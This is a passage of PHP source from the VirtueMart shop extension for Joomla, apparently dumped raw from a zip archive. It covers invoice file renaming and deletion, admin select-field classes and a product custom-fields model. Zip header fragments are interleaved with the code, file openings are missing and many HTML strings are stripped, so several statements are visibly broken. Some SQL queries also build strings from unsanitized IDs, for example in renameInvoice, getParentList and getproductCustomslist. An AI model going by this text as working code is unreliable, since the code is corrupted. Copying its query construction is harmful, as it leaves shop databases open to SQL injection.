$order)); return $_orderID; } /** Rename Invoice (when an order is deleted) * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function renameInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // may be it was already deleted when changing order items $data['invoice_number'] = $data['invoice_number'].' not found.'; } else { $date = date("Ymd"); $data['invoice_number'] = $data['invoice_number'].'_'.$date; $invoice_name_dst = $path.DS.$data['invoice_number'].'.pdf'; if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::move($invoice_name_src, $invoice_name_dst)) { vmError ('Could not rename Invoice '.$invoice_name_src.'to '. $invoice_name_dst ); } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); return true; } /** Delete Invoice when an item is updated * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function deleteInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // was already deleted by a previoous change return; } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::delete($invoice_name_src )) { vmError ('Could not delete Invoice '.$invoice_name_src ); } } } // No closing tag PKB\models/fields/vendor.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('vendor'); $vendors = $model->getVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $this->name, 'class="inputbox" size="1"', 'virtuemart_vendor_id', 'vendor_name', $this->value, $this->id); } }PKB\gE!!models/fields/product.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); return JHTML::_('select.genericlist', $this->_getProducts(), $this->name, 'class="inputbox" ', 'value', 'text', $this->value, $this->id); } private function _getProducts() { if (!class_exists('VmModel')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); $productModel = VmModel::getModel('Product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } }PKB\]"!((models/fields/layout.phpnuW+Afieldname,0,-6);; $vmLayoutList =VirtueMartModelConfig::getLayoutList($view); $html = JHTML::_('Select.genericlist',$vmLayoutList, $this->name, 'size=1 width=200', 'value', 'text', array($this->value)); return $html; } }PKB\ models/fields/manufacturer.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('Manufacturer'); $manufacturers = $model->getManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $this->name, 'class="inputbox" size="1"', 'virtuemart_manufacturer_id', 'mf_name', $this->value, $this->id); } }PKB\)models/fields/.htaccessnuW+A Order allow,deny Deny from all PKB\Vmodels/fields/index.htmlnuW+A PKB\}܆models/fields/category.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart'); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } }PKB\hӪmodels/fields/orderstatus.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel ('Orderstatus'); $orderStatus = $model->getOrderStatusList (); foreach ($orderStatus as $orderState) { $orderState->order_status_name = JText::_ ($orderState->order_status_name); } return JHTML::_ ('select.genericlist', $orderStatus, $this->name, 'class="inputbox" multiple="true" size="1"', 'order_status_code', 'order_status_name', $this->value, $this->id); } }PKB\M')iimodels/customfields.phpnuW+AsetMainTable ('product_customfields'); } /** * Gets a single custom by virtuemart_customfield_id * * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustomfield () { $this->data = $this->getTable ('product_customfields'); $this->data->load ($this->_id); return $this; } // ************************************************** // Custom FIELDS // function getProductCustomsChilds ($childs) { $data = array(); foreach ($childs as $child) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_product_customfields` AS field LEFT JOIN `#__virtuemart_customs` AS C ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_product_id` =' . (int)$child->virtuemart_product_id; $query .= ' and C.field_type = "C" '; $this->_db->setQuery ($query); $child->field = $this->_db->loadObject (); $customfield = new stdClass(); $customfield->custom_value = $child->virtuemart_product_id; $customfield->field_type = 'C'; $child->display = $this->displayProductCustomfieldFE ($child, $customfield); if ($child->field) { $data[] = $child; } } return $data; } public function getCustomParentTitle ($custom_parent_id) { $q = 'SELECT custom_title FROM `#__virtuemart_customs` WHERE virtuemart_custom_id =' . (int)$custom_parent_id; $this->_db->setQuery ($q); return $this->_db->loadResult (); } /** @return autorized Types of data **/ function getField_types () { return array('S' => 'COM_VIRTUEMART_CUSTOM_STRING', 'I' => 'COM_VIRTUEMART_CUSTOM_INT', 'P' => 'COM_VIRTUEMART_CUSTOM_PARENT', 'B' => 'COM_VIRTUEMART_CUSTOM_BOOL', 'D' => 'COM_VIRTUEMART_DATE', 'T' => 'COM_VIRTUEMART_TIME', 'M' => 'COM_VIRTUEMART_IMAGE', 'V' => 'COM_VIRTUEMART_CUSTOM_CART_VARIANT', 'A' => 'COM_VIRTUEMART_CHILD_GENERIC_VARIANT', 'X' => 'COM_VIRTUEMART_CUSTOM_EDITOR', 'Y' => 'COM_VIRTUEMART_CUSTOM_TEXTAREA', 'E' => 'COM_VIRTUEMART_CUSTOM_EXTENSION' ); // 'U'=>'COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT', // 'C'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD', // 'G'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD_GROUP', // 'R'=>'COM_VIRTUEMART_RELATED_PRODUCT', // 'Z'=>'COM_VIRTUEMART_RELATED_CATEGORY', } static function setParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ $table->setParameterable('custom_param',$varsToPush,TRUE); } } static function bindParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ VmTable::bindParameterable($table,'custom_param',$varsToPush); } } static function getVarsToPush($type){ $varsToPush = 0; if($type=='A'){ $varsToPush = array( 'withParent' => array(0, 'int'), 'parentOrderable' => array(0, 'int') ); } return $varsToPush; } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displaycustomHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel custom */ public function addHidden ($name, $value = '') { $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * * @author Max Milbers * OBSELTE ? */ private function addHiddenByType ($datas) { $this->addHidden ('virtuemart_custom_id', $datas->virtuemart_custom_id); $this->addHidden ('option', 'com_virtuemart'); } /** * Displays a possibility to select custom groups * * @author Max Milbers * @author Maik K�nnemann * @author Patrick Kohl */ public function displayCustomSelection () { $customslist = $this->getParentList (); if (isset($this->virtuemart_custom_id)) { $value = $this->virtuemart_custom_id; } else { $value = JRequest::getInt ('custom_parent_id', 0); } return VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $customslist, $value); } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getCustoms function of the custom model or write something simular * * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getCustomsList ($publishedOnly = FALSE) { $vendorId = 1; // get custom parents $q = 'SELECT virtuemart_custom_id as value ,custom_title as text FROM `#__virtuemart_customs` where custom_parent_id=0 AND field_type <> "R" AND field_type <> "Z" '; if ($publishedOnly) { $q .= 'AND `published`=1'; } if ($ID = JRequest::getInt ('virtuemart_custom_id', 0)) { $q .= ' and `virtuemart_custom_id`!=' . (int)$ID; } //if (isset($this->virtuemart_custom_id)) $q.=' and virtuemart_custom_id !='.$this->virtuemart_custom_id; $this->_db->setQuery ($q); // $result = $this->_db->loadAssocList(); $result = $this->_db->loadObjectList (); $errMsg = $this->_db->getErrorMsg (); $errs = $this->_db->getErrors (); if (!empty($errMsg)) { $app = JFactory::getApplication (); $errNum = $this->_db->getErrorNum (); $app->enqueueMessage ('SQL-Error: ' . $errNum . ' ' . $errMsg); } if ($errs) { $app = JFactory::getApplication (); foreach ($errs as $err) { $app->enqueueMessage ($err); } } return $result; } /** * This displays a custom handler. * * @param string $html atttributes, Just for displaying the fullsized image */ public function displayCustomFields ($datas) { $identify = ''; // ':'.$this->virtuemart_custom_id; if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } if ($datas->field_type) { $this->addHidden ('field_type', $datas->field_type); } $this->addHiddenByType ($datas); //$html = '
    '.$datas->custom_title.'
    '; $html = ""; //$html = ' '; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { $readonly = 'readonly'; } else { $readonly = ''; } // only input when not set else display if ($datas->field_type) { $html .= VmHTML::row ('value', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', $datas->field_types[$datas->field_type]); } else { $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', 'field_type', $this->getOptions ($datas->field_types), $datas->field_type, VmHTML::validate ('R')); } $html .= VmHTML::row ('input', 'COM_VIRTUEMART_TITLE', 'custom_title', $datas->custom_title, VmHTML::validate ('S')); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_SHOW_TITLE', 'show_title', $datas->show_title); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_PUBLISHED', 'published', $datas->published); $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $this->getParentList ($datas->virtuemart_custom_id), $datas->custom_parent_id, ''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE', 'is_cart_attribute', $datas->is_cart_attribute); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DESCRIPTION', 'custom_field_desc', $datas->custom_field_desc); // change input by type $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DEFAULT', 'custom_value', $datas->custom_value); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_TIP', 'custom_tip', $datas->custom_tip); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_LAYOUT_POS', 'layout_pos', $datas->layout_pos); //$html .= VmHTML::row('booleanlist','COM_VIRTUEMART_CUSTOM_PARENT','custom_parent_id',$this->getCustomsList(), $datas->custom_parent_id,''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_ADMIN_ONLY', 'admin_only', $datas->admin_only); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_LIST', 'is_list', $datas->is_list); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_HIDDEN', 'is_hidden', $datas->is_hidden); // $html .= '
    '; removed $html .= VmHTML::inputHidden ($this->_hidden); return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray */ private function getOptions ($field_types) { $options = array(); foreach ($field_types as $optionName=> $langkey) { $options[] = JHTML::_ ('select.option', $optionName, vmText::_ ($langkey)); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow ($descr, $name, $readonly = '') { $html = ' ' . vmText::_ ($descr) . ' '; return $html; } /** * * Enter description here ... * * @param unknown_type $excludedId * @return unknown|multitype: */ function getParentList ($excludedId = 0) { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="P" and virtuemart_custom_id!=' . $excludedId); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... */ function getProductChildCustomRelation () { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="C"'); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... * * @param unknown_type $product_id * @return unknown */ function getProductChildCustom ($product_id) { $this->_db->setQuery (' SELECT `virtuemart_custom_id`,`custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadObject ()) { return $childcustom; } else { $childcustom->virtuemart_custom_id = 0; $childcustom->custom_value = ''; return $childcustom; } } /** * * Enter description here ... * * @param unknown_type $product_id * @return string|Ambigous */ function getProductParentRelation ($product_id) { $this->_db->setQuery (' SELECT `custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadResult ()) { return '(' . $childcustom . ')'; } else { return vmText::_ ('COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION'); } } /** * AUthor Kohl Patrick * Load all custom fields for a Single product * return custom fields value and definition */ public function getproductCustomslist ($virtuemart_product_id, $parent_id = NULL) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_jplugin_id`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price`,field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . $virtuemart_product_id . ' order by field.`ordering` ASC'; $this->_db->setQuery ($query); $productCustoms = $this->_db->loadObjectList (); //if (!$productCustoms ) return array(); if (!$productCustoms) { return; } $row = 0; foreach ($productCustoms as $field) { if ($parent_id) { $field->custom_value = ""; $field->virtuemart_customfield_id = ""; $field->custom_param = NULL; $virtuemart_product_id = $parent_id; } if ($field->field_type == 'E') { JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $retValue = $dispatcher->trigger ('plgVmDeclarePluginParams', array('custom', $field->custom_element, $field->custom_jplugin_id, $field)); }else { VirtueMartModelCustomfields::bindParameterableByFieldType($field); } //vmdebug('fields',$field); $field->display = $this->displayProductCustomfieldBE ($field, $virtuemart_product_id, $row); //custom_param without S !!! $row++; } return $productCustoms; } /* Save and delete from database * all product custom_fields and xref @ var $table : the xref table(eg. product,category ...) @array $data : array of customfields @int $id : The concerned id (eg. product_id) */ public function storeProductCustomfields($table,$datas, $id) { //vmdebug('storeProductCustomfields',$datas); JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Sanitize id $id = (int)$id; //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; // Get old IDS $this->_db->setQuery( 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_'.$table.'_customfields` as `PC` WHERE `PC`.virtuemart_'.$table.'_id ='.$id ); $old_customfield_ids = $this->_db->loadResultArray(); if (isset ( $datas['custom_param'] )) $params = true ; else $params = false ; if (array_key_exists('field', $datas)) { //vmdebug('datas save',$datas); $customfieldIds = array(); foreach($datas['field'] as $key => $fields){ $fields['virtuemart_'.$table.'_id'] =$id; $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->setPrimaryKey('virtuemart_product_id'); if (!empty($datas['custom_param'][$key]) and !isset($datas['clone']) ) { if (array_key_exists( $key,$datas['custom_param'])) { $fields['custom_param'] = json_encode($datas['custom_param'][$key]); } } VirtueMartModelCustomfields::setParameterableByFieldType($tableCustomfields,$fields['field_type']); if(!isset($datas['clone'])){ VirtueMartModelCustomfields::bindParameterableByFieldType($tableCustomfields,$fields['field_type']); } $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } $key = array_search($fields['virtuemart_customfield_id'], $old_customfield_ids ); if ($key !== false ) unset( $old_customfield_ids[ $key ] ); // vmdebug('datas clone',$old_customfield_ids,$fields); } } if ( count($old_customfield_ids) ) { // delete old unused Customfields $this->_db->setQuery( 'DELETE FROM `#__virtuemart_'.$table.'_customfields` WHERE `virtuemart_customfield_id` in ("'.implode('","', $old_customfield_ids ).'") '); $this->_db->query(); } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); if (isset($datas['plugin_param']) and is_array($datas['plugin_param'])) { foreach ($datas['plugin_param'] as $key => $plugin_param ) { $dispatcher->trigger('plgVmOnStoreProduct', array($datas, $plugin_param )); } } } /** * Formatting admin display by roles * input Types for product only ! * $field->is_cart_attribute if can have a price */ public function displayProductCustomfieldBE ($field, $product_id, $row) { $field->custom_value = empty($field->custom_value) ? $field->value : $field->custom_value; if ($field->is_cart_attribute) { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); if(!class_exists('VirtueMartModelCurrency')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'currency.php'); $vendor_model = VmModel::getModel('vendor'); $vendor_model->setId(1); $vendor = $vendor_model->getVendor(); $currency_model = VmModel::getModel('currency'); $vendor_currency = $currency_model->getCurrency($vendor->vendor_currency); $priceInput = ' '.$vendor_currency->currency_symbol.""; } else { $priceInput = ' '; } if ($field->is_list) { $options = array(); $values = explode (';', $field->value); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } $currentValue = $field->custom_value; return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', null, 'value', 'text', $currentValue) . '' . $priceInput; } else { switch ($field->field_type) { case 'A': //vmdebug('displayProductCustomfieldBE $field',$field); if(!isset($field->withParent)) $field->withParent = 0; if(!isset($field->parentOrderable)) $field->parentOrderable = 0; //vmdebug('displayProductCustomfieldFE',$field); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html = vmText::_('COM_VIRTUEMART_CUSTOM_WP').VmHTML::checkbox('field[' . $row . '][withParent]',$field->withParent,1,0,'').'
    '; $html .= vmText::_('COM_VIRTUEMART_CUSTOM_PO').VmHTML::checkbox('field[' . $row . '][parentOrderable]',$field->parentOrderable,1,0,''); $options = array(); // $options[] = array( 'value' => 'product_name' ,'text' =>vmText::_('COM_VIRTUEMART_PRODUCT_FORM_NAME')); Is anyway displayed there $options[] = array('value' => 'product_sku', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_SKU')); $options[] = array('value' => 'slug', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_ALIAS')); $options[] = array('value' => 'product_length', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_LENGTH')); $options[] = array('value' => 'product_width', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WIDTH')); $options[] = array('value' => 'product_height', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_HEIGHT')); $options[] = array('value' => 'product_weight', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WEIGHT')); $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; return $html; // return 'Automatic Childvariant creation (later you can choose here attributes to show, now product name) '; break; // variants case 'V': return '' . $priceInput; break; /* * Stockable (group of) child variants * Special type setted by the plugin */ case 'G': return; break; /*Extended by plugin*/ case 'E': $html = ''; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } JPluginHelper::importPlugin ('vmcustom', $field->custom_element); $dispatcher = JDispatcher::getInstance (); $retValue = ''; $dispatcher->trigger ('plgVmOnProductEdit', array($field, $product_id, &$row, &$retValue)); return $html . $retValue . ''. $priceInput; break; case 'D': return vmJsApi::jDate ($field->custom_value, 'field[' . $row . '][custom_value]', 'field_' . $row . '_customvalue') .''. $priceInput; break; case 'T': //TODO Patrick return '' . $priceInput; break; /* string or integer */ case 'S': case 'I': return '' . $priceInput; break; //'X'=>'COM_VIRTUEMART_CUSTOM_EDITOR', case 'X': // Not sure why this block is needed to get it to work when editing the customfield (the subsequent block works fine when creating it, ie. in JS) $document=& JFactory::getDocument(); if (get_class($document) == 'JDocumentHTML') { $editor =& JFactory::getEditor(); return $editor->display('field['.$row.'][custom_value]',$field->custom_value, '550', '400', '60', '20', false).''; } return ' ' . $priceInput; //return ''.$priceInput; break; //'Y'=>'COM_VIRTUEMART_CUSTOM_TEXTAREA' case 'Y': return '' . $priceInput; //return ''.$priceInput; break; case 'editorta': jimport ('joomla.html.editor'); $editor = JFactory::getEditor (); //TODO This is wrong! $_return['fields'][$_fld->name]['formcode'] = $editor->display ($_prefix . $_fld->name, $_return['fields'][$_fld->name]['value'], 300, 150, $_fld->cols, $_fld->rows); break; /* bool */ case 'B': return JHTML::_ ('select.booleanlist', 'field[' . $row . '][custom_value]', 'class="inputbox"', $field->custom_value) . '' . $priceInput; break; /* parent */ case 'P': return $field->custom_value . ''; break; /* related category*/ case 'Z': if (!$field->custom_value) { return ''; } // special case it's category ID ! $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` JOIN `#__virtuemart_categories` AS p using (`virtuemart_category_id`) WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); //echo $this->_db->_sql; if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } $display = ''; $display .= JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&task=edit&virtuemart_category_id=' . (int)$field->custom_value,FALSE), ''.$thumb.'' . $category->category_name, array('title' => $category->category_name)).''; return $display; } else { return 'no result'; } /* related product*/ case 'R': if (!$field->custom_value) { return ''; } $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$field->custom_value,FALSE,FALSE,FALSE,1,FALSE); $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } $display = ''; $display .= JHTML::link (juri::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id, ''.$thumb.''. $related->product_name, array('title' => $related->product_name,'target'=>'blank')).''; return $display; break; /* image */ case 'M': if (empty($product)) { $vendorId = 1; } else { $vendorId = $product->virtuemart_vendor_id; } $q = 'SELECT `virtuemart_media_id` as value,`file_title` as text FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "' . $vendorId . '" OR `shared` = "1")'; $this->_db->setQuery ($q); $options = $this->_db->loadObjectList (); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; break; /* Child product */ /* case 'C': if (empty($product)){ $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', 0); } else { $virtuemart_product_id = $product->virtuemart_product_id; } $html = ''; $q='SELECT concat(`product_sku`,":",`product_name`) as text ,`virtuemart_product_id`,`product_in_stock` FROM `#__virtuemart_products` WHERE `published`=1 AND `virtuemart_product_id`= "'.$field->custom_value.'"'; //$db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->_db->setQuery($q); if ($child = $this->_db->loadObject()) { $html .= JHTML::link ( JRoute::_ ( 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$field->custom_value), $child->text.' ('.$field->custom_value.')', array ('title' => $child->text )); $html .= ' '.vmText::_('COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK').':'.$child->product_in_stock ; $html .= '
    '.$priceInput; return $html; // return ''; } else return vmText::_('COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT'); break;*/ } } } public function getProductCustomsField ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden`, `layout_pos`, C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 0 order by field.`ordering`,virtuemart_custom_id'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } foreach ($productCustoms as $field) { if ($field->field_type == "E") { $field->display = ''; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $ret = $dispatcher->trigger ('plgVmOnDisplayProductFE', array($product, &$row, &$field)); } else { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); } $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedCategories ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "Z"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedProducts ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "R"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } /** * Display for the cart * * @author Patrick Kohl * @param obj $product product object * @return html code */ public function getProductCustomsFieldCart ($product) { // group by virtuemart_custom_id $query = 'SELECT C.`virtuemart_custom_id`, `custom_title`, `show_title`, C.`custom_value`,`custom_field_desc` ,`custom_tip`,`field_type`,field.`virtuemart_customfield_id`,`is_hidden` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 1 group by virtuemart_custom_id ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $groups = $this->_db->loadObjectList (); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('getProductCustomsFieldCart '.$err); } else { if(empty($groups)) return array(); } if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $row = 0; if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $calculator ->_product = $product; $calculator->_cats = 